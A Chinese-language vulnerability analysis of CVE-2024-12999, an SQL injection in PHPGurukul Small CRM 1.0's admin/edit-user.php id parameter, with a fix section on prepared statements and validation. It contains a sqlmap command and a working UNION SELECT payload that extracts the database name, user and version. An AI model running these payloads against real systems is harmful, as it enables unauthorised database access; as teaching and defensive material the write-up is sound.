PHPGurukul Small CRM 1.0 sql注入漏洞分析(CVE-2024-12999)
字数 888 2025-08-22 12:22:54
PHPGurukul Small CRM 1.0 SQL注入漏洞分析(CVE-2024-12999)教学文档
漏洞概述
PHPGurukul Small CRM 1.0版本中存在一个SQL注入漏洞(CVE-2024-12999),该漏洞位于/admin/edit-user.php文件的id参数处,由于未对用户输入进行充分过滤和验证,导致攻击者可以构造恶意SQL语句获取数据库敏感信息。
漏洞位置
- 漏洞文件:
/admin/edit-user.php - 漏洞参数:
id(GET参数)
漏洞复现(黑盒测试)
1. 识别漏洞点
- 访问用户编辑页面,观察URL地址
- 确认URL中包含
/admin/edit-user.php和id参数- 示例URL:
http://test.com/admin/edit-user.php?id=1
- 示例URL:
2. 使用sqlmap进行测试
sqlmap -u "http://test.com/admin/edit-user.php?id=1" --cookie "PHPSESSID=v2el2qa0pgch2i5lv639u5dogq"
漏洞分析(白盒分析)
1. 代码分析
- 直接获取用户输入的
id参数:$userid = $_GET['id']; - 在67行左右发现使用
id参数拼接的SQL语句:$sql = "select * from user where id = '$userid'";
2. SQL注入原理
- 原始SQL语句结构:
select * from user where id = 'xxxxxx' - 这是一个字符串类型的注入,需要通过单引号(
')闭合
手工注入技术
1. 构造Payload
- 使用
union select构造注入语句 - 已知
user表有10个字段 - 数据回显的字段是
name字段
2. 获取数据库名
构造Payload:
a' union select 'id',database(),'email','alt_email','password','mobile','gender','address','status','posting_date
3. 获取其他信息
通过修改union select后的字段,可以获取不同信息:
- 替换
database()为user()获取当前用户 - 替换为
version()获取数据库版本 - 替换为表名查询其他表数据
防御建议
-
使用预处理语句(PDO或mysqli)
$stmt = $conn->prepare("select * from user where id = ?"); $stmt->bind_param("s", $userid); $stmt->execute(); -
输入验证和过滤
if(!is_numeric($userid)) { die("Invalid user ID"); } -
最小权限原则
- 数据库连接使用最小必要权限账户
-
错误处理
- 禁止显示数据库错误信息
-
更新到最新版本
- 检查官方是否有补丁发布
总结
该漏洞展示了典型的SQL注入案例,通过未过滤的用户输入直接拼接SQL语句,导致攻击者可以执行任意SQL命令。开发人员应始终使用参数化查询,并对所有用户输入进行严格验证。